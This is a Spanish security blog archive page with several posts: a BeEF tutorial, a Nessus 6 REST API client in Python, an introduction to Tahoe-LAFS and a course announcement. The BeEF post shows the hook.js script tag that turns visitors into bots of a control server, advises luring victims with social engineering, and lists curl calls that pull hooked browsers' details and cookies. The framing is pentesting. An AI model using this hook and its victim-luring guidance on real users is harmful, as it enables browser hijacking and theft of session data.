Archive

Archive for the ‘Programacion’ Category

Pentesting automatizado con Beef y su API Rest – Parte 1

julio 14, 2015 3 comentarios

Beef (The Browser Exploitation Framework) ha tenido una evolución bastante interesante en los últimos años y se han añadido mejoras que le convierten en una herramienta que se debe tener en cuenta a la hora de realizar pruebas de penetración u otras actividades relacionadas con el hacking. Se trata de un framework del que ya he hablado hace algún tiempo en varias entradas en las que comentaba cómo automatizar ataques XSS con Beef y cómo integrar Beef con Metasploit Framework. El proceso de instalación y otros detalles de la herramienta han cambiado un poco desde aquel entonces y por ese motivo, me he animado a escribir un parde artículos en los que voy a explicar cómo instalar la última versión de Beef, consumir la API Rest que se encuentra disponible en el Framework para automatizar tareas y otras características interesantes.

Instalando Beef

Beef se encuentra desarrollado en Ruby, con lo cual es necesario contar con el interprete de Ruby instalado en el sistema. En mi experiencia, suele ser un poco complicado trabajar con herramientas como Beef y Metasploit Framework cuando se utilizan diferentes versiones de Ruby, por ese motivo siempre es recomendable utilizar RVM (Ruby Version Manager) para poder activar y gestionar varias versiones de Ruby sobre el mismo sistema. Puedes echarle un vistazo al sitio web oficial del proyecto (https://rvm.io/) veras que te va a facilitar las cosas y te va a ahorrar mucho tiempo.

Dicho esto, el primer paso para instalar Beef consiste en descargar la última versión del proyecto que se encuentra disponible en su repositorio Github.

>git clone https://github.com/beefproject/beef.git beef-lastest

>cd beef-lastest
>gem install bundler

Fetching: bundler-1.10.5.gem (100%)

Successfully installed bundler-1.10.5

Parsing documentation for bundler-1.10.5

Installing ri documentation for bundler-1.10.5

Done installing documentation for bundler after 3 seconds

1 gem installed

>bundle install

>./beef

runningbeefEjecutando Beef

Si estas utilizando RVM, debes activar un entorno de Ruby que se encuentre instalado en RVM, para ello basta con ejecutar el siguiente comando

>source <HOME_USER>/.rvm/scripts/rvm

Como se puede apreciar, se han levantado algunos servicios y se ha vinculado el puerto 3000 para interactuar con el panel de control. Además, vemos que se ha generado una API Key para interactuar con los servicios Rest de la plataforma, esto será útil posteriormente para automatizar el uso de Beef. Por otro lado, cuando se intenta acceder a la página principal de Beef, se solicita un nombre de usuario y una contraseña, los cuales por defecto son “beef”/“beef”. Todos estos detalles se pueden cambiar muy fácilmente editando el fichero <BEEF_INSTALL>/config.yaml

Funcionamiento de Beef

Beef, a diferencia de otras herramientas de pentesting web, se centra en el contexto de los clientes y utilizando un hook en Javascript, permite crear una red de bots que pueden ser controlados desde un panel de control central. Basta con que un usuario navegue por un sitio web que contenga dicho hook para que automáticamente haga parte de esa red de bots. Hay que tener en cuenta que dicho hook no explota ninguna vulnerabilidad 0day sobre los navegadores web o cosas similares, sino que simplemente incluye varias rutinas desarrolladas en Javascript que realizan peticiones contra el panel de control de Beef y desde dicho panel de control, se pueden enviar instrucciones al hook para que realice tareas sobre el entorno (navegador web) de la víctima, de esta forma es posible acceder a información básica del navegador web, activar o desactivar plugins y extensiones o incluso forzar la navegación hacia sitios web arbitrarios, obviamente sin la debida autorización por parte de la víctima. La siguiente imagen enseña la arquitectura de Beef y como se puede ver, se compone por un servidor centrar del C&C y una serie de zombies que se encuentran “infectados” por el hook. Ahora bien, esta supuesta “infección” no es persistente ni mucho menos, ya que se trata simplemente de un fichero Javascript se ejecuta en el contexto de la página web visitada por la víctima, basta con cerrar dicha página web y problema resuelto.

beefarchitectureArquitectura de beef

La imagen anterior ha sido tomada del sitio web oficial de Beef y se puede apreciar perfectamente el funcionamiento de la herramienta que es simple y a su vez muy potente.
Cuando una víctima accede a una página web que contiene el hook y a menos que exista algún bloqueo de las peticiones HTTP entre el C&C de Beef y la víctima, aparecerá automáticamente en el panel de control un nuevo bot.
A partir de aquí, es el momento de establecer el vector de ataque. Debes crear una página web que incluya el script “hook.js” y evidentemente, entre mejor elaborado sea dicho vector, mejores resultados (+ víctimas) lograrás conseguir. Aquí entra en juego la creatividad y definir quien o quienes van a ser los objetivos del ataque, de tal forma que puedas ofrecer algo que tus víctimas potenciales puedan querer y les invite a entrar y permanecer en el sitio web que ejecuta el hook, aquí las técnicas de ingeniería social son vitales y ofrecer un servicio perfectamente “legitimo” como un juego online o algún servicio web concreto, puede ser lo suficientemente atractivo para la víctima como para que decida visitar el sitio y permanecer en él algún tiempo. Dicha página lo único que necesita tener es esto:

<script src=”http://192.168.1.98:3000/hook.js&#8221; type=”text/javascript”></script>

Así de fácil.

Cuando una víctima accede a la página web maliciosa, automáticamente se convierte en un bot del C&C de Beef, tal como se enseña en la siguiente imagen.

victimbeef

Automatización de Beef con su API Rest

Ahora viene la parte divertida, Beef cuenta con una API Rest que permite la automatización de tareas, algo que desde luego viene muy bien cuando se deben gestionar múltiples víctimas y resulta muy ineficiente (y tedioso) hacerlo desde la interfaz web. Su uso es bastante simple y como se ha visto en líneas anteriores, solamente es necesario contar con la API Key que genera la herramienta de forma automática cuando se levanta Beef. Con dicha API Key se pueden invocar los endpoints definidos en la API y de esta forma, obtener información del C&C de Beef en formato JSON. Para hacer pruebas simples se puede utilizar una herramienta con CURL o WGET y posteriormente, utilizar un lenguaje como Python o Ruby para crear rutinas que permitan invocar múltiples endpoints y hacer cosas mucho más interesantes.

Obtener el listado de víctimas

>curl http://localhost:3000/api/hooks?token=4ecc590cb776484412492a7bd3f0ad03cd47660
{“hooked-browsers”:{“online”:{“0”:{“id”:1,”session”:”ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”name”:”FF”,”version”:”38″,”os”:”Linux”,”platform”:”Linux x86_64″,”ip”:”192.168.1.98″,”domain”:”Unknown”,”port”:”0″,”page_uri”:”file:///home/adastra/Escritorio/testing.html”}},”offline”:{}}}

Como se puede ver, aparecen los bots que salen en el panel de control de Beef y en este caso, cada “hooked-browser” puede encontrarse online u offline y cuenta con un identificador (atributo “session”) que puede ser utilizado para realizar consultas contra ese bot concreto como por ejemplo…

Recuperar los detalles del navegador web de un bot concreto

>curl http://localhost:3000/api/hooks/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“BrowserLanguage”:”es-ES”,”BrowserName”:”FF”,”BrowserPlatform”:”Linux x86_64″,”BrowserPlugins”:”DivX® Web Player-v.,Google Talk Plugin-v.,Google Talk Plugin Video Renderer-v.,Java(TM) Plug-in 10.80.2-v.10.80.2,QuickTime Plug-in 7.6.6-v.,Shockwave Flash-v.11.2.202.468,VLC Multimedia Plugin (compatible Videos 3.10.1)-v.,Windows Media Player Plug-in 10 (compatible; Videos)-v.,iTunes Application Detector-v.”,”BrowserReportedName”:”Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0″,”BrowserType”:”{\”C19iOS\”:null,\”C20iOS\”:null,\”C21iOS\”:null,\”C22iOS\”:null,\”C23iOS\”:null,\”C24iOS\”:null,\”C25iOS\”:null,\”C26iOS\”:null,\”C27iOS\”:null,\”C28iOS\”:null,\”C29iOS\”:null,\”C30iOS\”:null,\”C31iOS\”:null,\”C32iOS\”:null,\”C33iOS\”:null,\”C34iOS\”:null,\”C35iOS\”:null,\”C36iOS\”:null,\”C37iOS\”:null,\”C38iOS\”:null,\”C39iOS\”:null,\”C40iOS\”:null,\”C41iOS\”:null,\”C42iOS\”:null,\”C\”:null,\”FF38\”:true,\”FF\”:true}”,”BrowserVersion”:”38″,”CPU”:”64-bit”,”Cookies”:”BEEFHOOK=ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”DateStamp”:”Wed Jul 08 2015 22:02:28 GMT+0200 (CEST)”,”DefaultBrowser”:”Unknown”,”Hardware”:”Unknown”,”HasActiveX”:”No”,”HasFlash”:”Yes”,”HasGoogleGears”:”No”,”HasPhonegap”:”No”,”HasQuickTime”:”Yes”,”HasRealPlayer”:”No”,”HasWMP”:”Yes”,”HasWebRTC”:”Yes”,”HasWebSocket”:”Yes”,”HostName”:”Unknown”,”IP”:”192.168.1.98″,”OsName”:”Linux”,”PageReferrer”:”Unknown”,”PageTitle”:”Unknown”,”PageURI”:”file:///home/adastra/Escritorio/testing.html”,”ScreenSize”:”{\”width\”=>1920, \”height\”=>1080, \”colordepth\”=>24}”,”TouchEnabled”:”No”,”VBScriptEnabled”:”No”,”WindowSize”:”{\”width\”=>1865, \”height\”=>953}”,”hasPersistentCookies”:”Yes”,”hasSessionCookies”:”Yes”}

En este caso, el valor “session” del bot nos permite acceder a todos los detalles del navegador web de la víctima, algo que puede ser utilizado para posteriormente ejecutar ataques dirigidos contra dicho bot.

Accediendo a los logs de un bot

>curl http://localhost:3000/api/logs/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“logs_count”:42,”logs”:[{“id”:2,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 appears to have come back online”,”type”:”Zombie”},{“id”:3,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 just joined the horde from the domain: Unknown:0″,”type”:”Zombie”},{“id”:4,”date”:”2015-07-08T22:02:29+02:00″,”event”:”0.012s – [Focus] Browser window has regained focus.”,”type”:”Event”},…….

También se puede acceder a los logs de que se han producido para un bot concreto, nuevamente partiendo del valor “session” del bot en cuestión.

Listando los módulos disponibles en Beef

>curl http://localhost:3000/api/modules?token=4ecc590cb776484412492a7bd3f0ad03cd47660a

{“0”:{“id”:1,”class”:”Iframe_above”,”name”:”Create Foreground iFrame”,”category”:”Persistence”},”1″:{“id”:2,”class”:”Confirm_close_tab”,”name”:”Confirm Close Tab”,”category”:”Persistence”},”2″:{“id”:3,”class”:”Man_in_the_browser”,”name”:”Man-In-The-Browser”,”category”:”Persistence”},”3″:{“id”:4,”class”:”Popunder_window”,”name”:”Create Pop Under”,

………

Listar los módulos desde la API Rest no tiene mayores beneficios, ya que es lo mismo que se puede hacer desde el navegador web accediendo directamente al panel de administración, sin embargo si que es importante obtener el identificador de cada módulo para poder ejecutarlo contra uno o varios bots de forma programática, dicho identificador se puede obtener de la respuesta a la invocación del servicio anterior.

Existen muchos más endpoints en la API Rest de Beef que se encuentran documentados en el siguiente enlace: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API y que nos permitirá acceder a todos los detalles de configuración del panel de Beef y controlar programáticamente todas las víctimas capturadas, algo que desde luego resulta muy interesante y que veremos en el próximo artículo utilizando Python.

Saludos y Happy Hack!
Adastra.

La API Rest de Nessus en su versión 6

julio 9, 2015 Deja un comentario

Hace algunos meses que ha salido la versión 6 de Nessus, el popular escaner de vulnerabilidades diseñado y desarrollado por “Tenable network security” y la verdad es que llevaba tiempo sin trabajar con él, pero la semana pasada me escribió alguien comentando que la librería que desarrollé hace algunos meses (pynessus-rest) para interactuar programáticamente desde cualquier script en Python con Nessus, no le funcionaba correctamente. Pues bien, me puse a ver las trazas que me había enviado y me resultaron de lo más curiosas, ya que ni siquiera había conseguido obtener un token de autorización utilizando su cuenta de usuario. Pensé que a lo mejor se debía a un fallo en su instalación de Nessus o algo similar, así que me descargo e instalo la última versión de Nessus, escribo un script simple en el que solamente me autentico y creo una política y a continuación, cierro sesión para destruir el token creado anteriormente. 5 líneas de código, ni más ni menos. Pues bien, también me falla. Comienzo a revisar qué puede estar pasando y me llevo una “agradable” sorpresa al ver que la API Rest de Nessus 6.0 no es compatible hacia atrás con las demás versiones de Nessus.
Pues muy bien, es estupendo hacer cosas sobre un producto que no solamente no sigue sus propios estándares, sino que además no documenta adecuadamente los cambios que hace tras cada versión. La guía oficial a la fecha de redactar este artículo sigue siendo la correspondiente a la API Rest 5.0 (http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y por mucho que he buscado, no he encontrado esa misma guía para la nueva especificación, solamente comentarios en el foro de “Tenable” en el que mucha gente hace básicamente las mismas preguntas, ya que no hay una guía en la que se indique exactamente todos los detalles de los servicios REST de Nessus 6, tales como métodos HTTP soportados, parámetros, cabeceras, path de los servicios, descripción funcional detallada, etc. Lo más parecido a una documentación actualizada se encuentra en la propia interfaz de Nessus en la siguiente ruta: https://<NESSUS_SERVER>:8834/nessus6-api.html#/
Allí se explican todos los servicios que se encuentran actualmente disponibles en la versión 6 y como se puede ver, el path de los servicios en la versión 5.0 ha cambiado drásticamente en la versión 6.0. Así que si tenias algún script para automatizar alguna tarea utilizando la API Rest de Nessus en su versión 5.0, ya te puedes olvidar de que funcione en las nuevas versiones de Nessus. Ahora bien, es perfectamente comprensible que cada nueva versión de un programa incluya mejoras y nuevas características, cosas que hacen que el programa en cuestión evolucione y sea cada vez mejor, pero lo que siempre hay que tener en cuenta es que los usuarios esperan que las cosas que funcionaban en una versión, sigan funcionando correctamente en la siguiente (salvo error u omisión). Lo que se espera es que las interfaces o mecanismos de acceso sigan siendo los mismos, con el objetivo de que una posible migración sea lo más transparente posible. En el caso de la API Rest de Nessus, ninguno de los endpoints que estaban disponibles en la versión 5 de la API se encuentra disponibles en la versión 6, lo que obliga a todos los usuarios que actualicen Nessus a volver a implementar completamente todas rutinas automatizadas que tiren de la API.

Aunque con los nuevos cambios implementados en la versión actual de Nessus, la librería “pynessus-rest” queda deprecada, aun es posible seguir utilizando Python para realizar conexiones contra una instalación de Nessus y obtener información a partir de la API Rest de Nessus 6.
Para hacerlo, se puede utilizar cualquier librería para realizar peticiones HTTP, algo que abunda en Python. Por comodidad y simplicidad se puede utilizar “requests”.

nessus1Autenticación contra Nessus usando requests

Como se puede apreciar, es muy fácil conseguir un token de autenticación valido para interactuar con otros servicios de la API mucho más interesantes y en este caso concreto, lo único que ha cambiado entre la versión 6 y la versión 5 de la API es el endpoint, que ahora es “/session”. Si los cambios de todos los servicios fueran así de simples, no habría mayor problema, pero debido al rediseño que ha tenido el propio core Nessus en la versión actual, muchos de los servicios más utilizados como aquellos que permiten crear/editar políticas, gestionar escaneos y reportes, también han cambiado en la forma y estructura en la que devuelven información, con lo cual, una rutina de parseo del JSON de respuesta que antes funcionaba perfectamente en la versión 5 no va a funcionar para la versión 6. Es un limitante que impide la migración de scripts que esperan un formato y una estructura muy especifica para parsear la información que viene incluida en los JSON de respuestas. No obstante, en el caso de crear scripts desde cero, partiendo de la versión actual y con las reglas definidas en los servicios, realizar peticiones y procesar respuestas no es demasiado complicado y como siempre, se debe partir de un token valido para invocar a servicios que requieren autenticación para ser invocados, algo que ya se ha visto en la imagen anterior. El siguiente script enseña cómo utilizar las principales funciones en “pynessus-rest” adaptándolas un poco a los nuevos servicios disponibles en la versión 6.

import requests
import json 

class NessusClient():
    def __init__(self, nessusServer, nessusPort,
			validateCert=False,initialSeqNumber=1):
        self.nessusServer = nessusServer
        self.nessusPort = nessusPort
self.url='https://'+str(nessusServer)+':'+str(nessusPort)
        self.token = None
        self.headers = {}
        self.bodyRequest = {}
        self.seqNumber = initialSeqNumber
        self.validateCert = validateCert
    def constructParamsAndHeaders(self,
			headers={}, params={}, jsonFormat=True):
        if jsonFormat:
            self.body = {'seq' : self.seqNumber,
			'json' : '1'}
        else:
            self.body = {'seq' : self.seqNumber,
			'json' : '0'}
        if self.token is not None:
            #No authentication needed.
            self.headers={'Host': str(self.nessusServer)+':'+str(self.nessusPort),			'Content-type':'application/x-www-form-urlencoded',
	'X-Cookie':'token='+self.token,'seq':self.seqNumber}
        else:
            self.headers={'Host':str(self.nessusServer)+':'+str(self.nessusPort),
'Content-type':'application/x-www-form-urlencoded'}
        self.body.update(params)
        self.headers.update(headers)
        print self.headers 

    def requestNessus(self, url, method="POST"):
        '''
        Perform a request to Nessus server using the data and headers received by parameter.
        This function automatically increments the sequence identifier for Nessus requests.
        '''
        if method == "GET":
            response = requests.get(url,
			data=self.body, headers=self.headers, verify=self.validateCert)
        else:
            response = requests.post(url,
			data=self.body, headers=self.headers, verify=self.validateCert)
        self.seqNumber += 1
        try:
            return json.loads(response.content)
        except ValueError:
            return response.content 

    def call(self, service, params={},
			jsonFormat=True, method="GET"): self.constructParamsAndHeaders(params=params,
			jsonFormat=jsonFormat)
        content =self.requestNessus(self.url+service, method=method)
        return content
    def login(self, nessusUser, nessusPassword,
			jsonFormat=True):
        '''
        Login with the Nessus server using the user and password specified.
        '''
	self.constructParamsAndHeaders(params= 'username':nessusUser, 'password':nessusPassword})
        content = self.requestNessus(self.url+"/session", method="POST")
        if content.has_key("token"):
            self.token = content['token']
        return content 

client = NessusClient('127.0.0.1','8834')
client.login('adastra','password')
print str(client.call('/policies'))+"\n"
print str(client.call('/scans',
			params={'folder_id':1, 'last_modification_date':1}))+"\n"

El servicio “/scans” es un claro ejemplo de los cambios se han implementado en Nessus en esta última versión, ya que ahora este tipo de elementos se almacenan en contenedores internos de llamados “folders”. Para poder consultar un listado de escaneos es obligatorio especificar el identificador del folder, tal como se ha visto en el script anterior.

nessus2Peticiones y respuestas tras invocar a los servicios “/scans” y “/policies”

La imagen corresponde a lo que pinta por pantalla el script anterior, de tal forma que se pueden ver las cabeceras de las peticiones así como también el cuerpo de las mismas. Las respuestas emitidas por Nessus vienen en formato JSON y contienen información sobre las políticas y escaneos que se han creado.

Si quieres conocer más sobre los servicios que se encuentran disponibles en la nueva versión Nessus, te recomiendo que te fijes en la documentación que viene incluida en https://<NESSUS_SERVER>:8834/nessus6-api.html#/ tendrás que levantar una instancia de Nessus y ver los servicios disponibles junto con sus métodos. Si bien la documentación no está mal, hay ciertos detalles importantes que no se detallan pero si que los encuentras en el foro de Nessus, así que también es un buen recurso para visitar con frecuencia.
La persona que me reporto el posible “fallo” en pynessus-rest también me pregunto que si pensaba actualizar la librería para hacerla compatible con los nuevos esquemas definidos en la versión actual. Francamente no tiene sentido dedicar tiempo y esfuerzos en hacer algo que muy probablemente se va a quedar obsoleto en pocos meses debido a que Tenable no consigue definir unas pautas mínimas de compatibilidad entre las distintas versiones de su software. Dicho esto, si utilizas Nessus 5, pynessus-rest te va a funcionar perfectamente a la hora de automatizar tareas, pero para la versión 6 tendrás que programar un poco más y crear tus propias de rutinas de parseo (y esperar a que no se rompa nada cuando salga una nueva versión de Nessus en unos pocos meses).

Un saludo y Happy Hack!
Adastra.

Tahoe-LAFS Sistema de almacenamiento en la nube privado y seguro – Parte 1

junio 30, 2015 1 comentario

El “cloud storage” o almacenamiento en la nube, se ha vuelto muy popular debido a la flexibilidad y beneficios que aporta a los usuarios. La habilidad de subir documentos a un servicio en Internet y poder acceder a ellos desde cualquier lugar y en cualquier momento, es algo muy atractivo para cualquiera, sin embargo en muchas ocasiones, al utilizar algunos de estos servicios en Internet, los usuarios se exponen a varias amenazas que pueden afectar directamente la confidencialidad e integridad de su información. Es cierto que muchos de los proveedores de los servicios de almacenamiento en la nube intentan asegurar los recursos de sus usuarios de la forma más rigurosa posible, pero en algunos casos, con la excusa de mantener la información de sus usuarios “segura” y confidencial, acceden directamente a dicha información, vulnerando de esta forma su privacidad.
Una buena forma de utilizar estos servicios es por medio del cifrado de los documentos desde el origen y de esta forma, evitar que un tercero tenga acceso directo a la información de los documentos almacenados en la nube, pero aun así, es necesario un registro y posterior entrega de datos personales al proveedor. Para los usuarios de redes anónimas tales como I2P, existe una solución que puede resultar mucho más interesante y que no exige el registro de datos personales ni de ningún tipo, permitiendo de esta forma almacenar documentos de forma distribuida y privada. Dicha solución es Tahoe-LAFS.

Tahoe-LAFS (The Last Authority File Store) es un sistema descentralizado y abierto que se encarga de distribuir los documentos de un usuario por múltiples servidores Tahoe. De esta forma, es posible seguir accediendo a la información de forma transparente aunque uno o varios de los servidores se encuentren caídos o comprometidos por un atacante. Solamente el propietario de los documentos o con los permisos adecuados puede ver sus contenidos, esto en Tahoe es lo que se conoce como “Provider Independent Security”, que es justo lo contrario a lo que suele verse en los principales proveedores de almacenamiento en la nube, ya que en este caso, el proveedor del servicio nunca tendrá acceso ni podrá leer y/o modificar la información de ninguno de sus usuarios. Justo lo opuesto a los proveedores de almacenamiento convencionales.

Funcionamiento básico de Tahoe-LAFS

El funcionamiento de Tahoe-LAFS se basa en el concepto de “Storage Grid”, que no es más que un conjunto de servidores de almacenamiento que se encargan de mantener los documentos de los usuarios del sistema. Un servidor de almacenamiento es simplemente un repositorio de datos, el cual no tiene la habilidad de actuar directamente sobre ellos, solamente se encarga de almacenarlos y brindar acceso a uno o varios “gateway”. Un gateway es un sistema independiente que se encarga de comunicarse con los servidores de almacenamiento y proveer acceso a la información que se encuentra almacenada en ellos por medio de protocolos de comunicación comunes tales como HTTP/S, SFTP o FTP. De esta forma un cliente, se comunicará con un gateway y éste a su vez, se comunicará con los servidores de almacenamiento para permitir el acceso a sus documentos. Un cliente en este caso puede ser un navegador web, un programa que se ejecuta por línea de comandos un cliente SFTP, etc. Tal como se mencionaba anteriormente, los servidores de almacenamiento tienen acceso a la información de sus usuarios y la información que se transfiere entre dichos servidores, el gateway y el cliente, se encuentra cifrada, impidiendo que cualquier “entidad” intermedia pueda manipular directamente los datos transferidos.
El procedimiento de instalación de Tahoe-LAFS se detalla a continuación.

Instalación de Tahoe-LAFS

Para instalar una instancia de Tahoe, es necesario tener Python instalado en el ordenador, preferiblemente la versión 2.7 ya que la última versión de Tahoe no funciona correctamente sobre la versión 3.x de Python. Una vez descargada la última versión estable del proyecto desde el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs se procede a instalar ejecutando el siguiente comando:

>python setup.py build

El comando anterior se encargará de instalar todas dependencias necesarias para poder arrancar correctamente Tahoe en uno de los modos descritos anteriormente (server o gateway) y además, se encargará también de generar un fichero ejecutable en el directorio <TAHOE_INSTALL>/bin.
En el caso de que exista algún problema ejecutando el script anterior, es posible que falte alguna dependencia necesaria en el sistema y no se ha podido obtener de manera automática por algún motivo. En tal caso, es necesario instalar manualmente la dependencia en cuestión, aunque son programas que suelen venir instalados por defecto en las en las últimas versiones de sistemas basados en Debian.

Por otro lado, para verificar la disponibilidad de todas las funciones que incluye Tahoe, se puede ejecutar el script setup.py con el argumento “trail”

>python setup.py trial

En tal caso, se podrán ver por pantalla, cada una de las funciones de Tahoe y si se ha podido comprobar que se encuentran correctamente instaladas y configuradas.

Uso de Tahoe-LAFS

Después de instalar el programa, es el momento de comenzar a utilizarlo y ver cuales son las opciones que se encuentran disponibles a los usuarios. En primer lugar, es posible crear clientes o un storage grid completo, todo esto ejecutando la utilidad “tahoe” que se ha generado automáticamente en el directorio “<TAHOE_INSTALL>/bin” tras ejecutar el proceso de instalación.

El primer paso para comenzar a utilizar el programa, consiste en crear un cliente simple, para ello se ejecuta el siguiente comando:

>./tahoe create-client Node created in ‘/home/adastra/.tahoe’

Please set [client]introducer.furl= in tahoe.cfg!

The node cannot connect to a grid without it.

Please set [node]nickname= in tahoe.cfg

Como se puede apreciar, con el comando anterior se ha creado un cliente simple y se ha creado también el directorio “~/.tahoe”. Tal como se enseña en la salida del comando, se debe establecer la propiedad “introducer.furl” en el fichero de configuración del nodo recién creado (tahoe.cfg) para que de esta forma, sea posible conectar al cliente con un storage grid de servidores.
Para probar las funcionalidades del sistema, existe un storage grid público que se encuentra activo para que los usuarios puedan interactuar con el sistema y opcionalmente con otros usuarios, para encontrar más detalles sobre dicho storage grid, se recomienda ver el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid
Tal como se explicaba anteriormente, es necesario establecer las propiedades “introducer.furl” y “nickname” en el fichero de configuración del cliente creado anteriormente, para ello se debe editar el fichero de configuración “<TAHOE_INSTALL/.tahoe/tahoe.cfg” y definir los valores adecuados en la sección “[client]”. Ahora bien, los valores de estas propiedades dependerán de si el usuario utiliza el storage grid de pruebas o uno propio. En el caso de utilizar uno propio, se debe indicar el valor del introducer de dicho storage grid en la propiedad “introducer.furl”, en el caso de utilizar el de pruebas, dicho valor se encuentra en el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid#HowToConnectToThePublicTestGrid

Después de establecer las dos propiedades de configuración anteriores, se puede arrancar el cliente con el siguiente comando.

>./tahoe run ~/.tahoe STARTING ‘/home/adastra/.tahoe’

running node in ‘/home/adastra/.tahoe’

2015-06-21 18:29:16+0200 [-] Log opened.

2015-06-21 18:29:16+0200 [-] twistd 13.2.0 (/usr/bin/python 2.7.6) starting up.

2015-06-21 18:29:16+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-06-21 18:29:16+0200 [-] Listener starting on 37384

2015-06-21 18:29:16+0200 [-] NevowSite starting on 3456

2015-06-21 18:29:16+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f36175311b8>

2015-06-21 18:29:16+0200 [-] My pid: 13852

2015-06-21 18:29:16+0200 [-] DatagramProtocol starting on 57219

2015-06-21 18:29:16+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f3617547d88>

2015-06-21 18:29:16+0200 [-] (UDP Port 57219 Closed)

2015-06-21 18:29:16+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f3617547d88>

Ahora que el cliente se ha ejecutado sin errores, lo primero que hará será conectarse con el “introducer” y obtener un listado de storage servers. Es importante tener en cuenta que con lo anterior, solamente se crea un cliente plano, sin ninguna capacidad de almacenar y compartir archivos de otros usuarios, algo que desde luego, es una de las principales potencialidades del sistema y como se verá en un próximo artículo, no es demasiado difícil de instalar y configurar.

A partir de aquí, el usuario puede interactuar con el grid de varias formas, una de ellas es por medio de una interfaz web muy simple que se levanta automáticamente en el puerto 3456. La siguiente imagen enseña dicha interfaz.

tahoe1Interfaz web del cliente Tahoe.

Como se puede ver, aparece la dirección del “Introducer”, los servidores de almacenamiento conectados y a la izquierda, un panel muy simple para subir directorios o descargar ficheros al sistema de almacenamiento. Cuando se sube un fichero o directorio, automáticamente se generará una URI única del fichero, la cual seguirá el siguiente formato

URI:SSK:xxx:xxxx

Dicha URI debe ser utilizada para acceder al documento y se debe ingresar en el campo de texto de la interfaz web que pone “OPEN TAHOE-URI”.

La interfaz web es solamente uno de los mecanismos disponibles en Tahoe para interactuar con los servidores de almacenamiento, pero no es el único, ya que también es posible interactuar con el grid por medio de los comandos disponibles en la utilidad “tahoe” o incluso también es posible utilizar una API Rest para interactuar con el sistema por medio de peticiones HTTP(S).

El objetivo de esta primera entrada era el de introducir al lector en los conceptos básicos de Tahoe-LAFS y en las próximas dos publicaciones, se hablará sobre configuración avanzada del sistema, creación de un grid, uso de la web api y cómo desplegar Tahoe-LAFS en I2P.

Un saludo y Happy Hack!
Adastra.

Curso de desarrollo de software enfocado a la seguridad informática con Python

mayo 21, 2015 2 comentarios

En esta ocasión quiero hablaros de un curso que me encuentro preparando y que seguramente será de interés para muchos de vosotros, se trata de un curso de desarrollo de software con Python enfocado a la seguridad informática, al pentesting y al hacking. El curso responde a la necesidad de aquellas personas que quieren aprender a programar desde cero y para los que los libros de “Python para pentesters” y “Hacking con Python” que he escrito hace algunos meses, aun les resultan muy complejos debido a su falta de conocimientos en programación.
Dicho esto, será un curso que partirá desde los conceptos básicos de programación estructurada y orientada a objetos, así como las bases del lenguaje, los principales módulos disponibles, etc. En la medida que el curso va avanzando se explican conceptos básicos de recolección de información, técnicas OSINT y pentesting utilizando Python. En los últimos dos módulos de los seis que se compone el curso, hablaré sobre integración de Python con herramientas de uso común en auditorías de seguridad, tales como Metasploit Framework o Nessus y conceptos básicos sobre patrones de diseño y arquitectura de software.

Como mencionaba antes, el curso se compone de 6 módulos, los cuales se encuentran distribuidos en 10 semanas. Cada semana podréis descargar un fichero comprimido con todos los recursos correspondientes, en el que se incluirán vídeos, documentos y código.

Junto con el curso, se os entregará una copia del libro de “Python para Pentesters”, el cual os servirá como recurso de estudio durante las semanas del curso.
Se encuentra planificado para comenzar el día 1 de Junio y podéis registraros o solicitar información desde ya en el sitio web de “The Security Sentinel” (http://www.thesecuritysentinel.es/1/curso_de_python_para_pentester_676511.html)

Todos los alumnos que os apuntéis, además de los recursos que he mencionado anteriormente (vídeos, documentos, código y el libro de “Python para Pentesters”), también podréis entrar en un espacio privado para poder realizar las practicas, interactuar con otros alumnos que se encuentran apuntados al curso (si os apetece) y contactar conmigo directamente vía chat. En dicho espacio también tendréis disponible una consola Linux en la que podréis practicar con lo aprendido en curso.

Espero veros apuntados y como siempre, ante cualquier duda, comentario o sugerencia podéis contactar conmigo directamente (adastra@thehackerway.com).

Un saludo y Happy Hack!

Serialización de objetos utilizando la Streaming Library y desarrollo de plugins I2P

mayo 19, 2015 Deja un comentario

En la entrada anterior se ha venido hablado de los beneficios que aporta la Streaming Library si eres un usuario de I2P y quieres automatizar el proceso de crear “peers” descentralizados que, utilizando la red de I2P, puedan comunicarse y transferir información. Esta librería se encuentra escrita en Java y cuenta con todas las características necesarias para poder interactuar con el protocolo I2CP y poder desplegar servicios que utilicen/establezcan puentes de entrada y salida desde la instancia local de I2P. Tal como mencionaba en el artículo anterior, el procedimiento para crear un emisor y un receptor es bastante simple y si el lector alguna vez ha tenido que trabajar con sockets y programación en entornos de red en cualquier lenguaje, rápidamente podrá apreciar que aunque la librería aporta clases nuevas, su funcionamiento es muy similar a los clásicos sockets “servidor” y “cliente”, de hecho, las clases principales de la Streaming library son “wrappers” de las las clases “ServerSocket” y “Socket” de Java, aunque evidentemente implementando toda la lógica necesaria para poder interactuar con I2P.
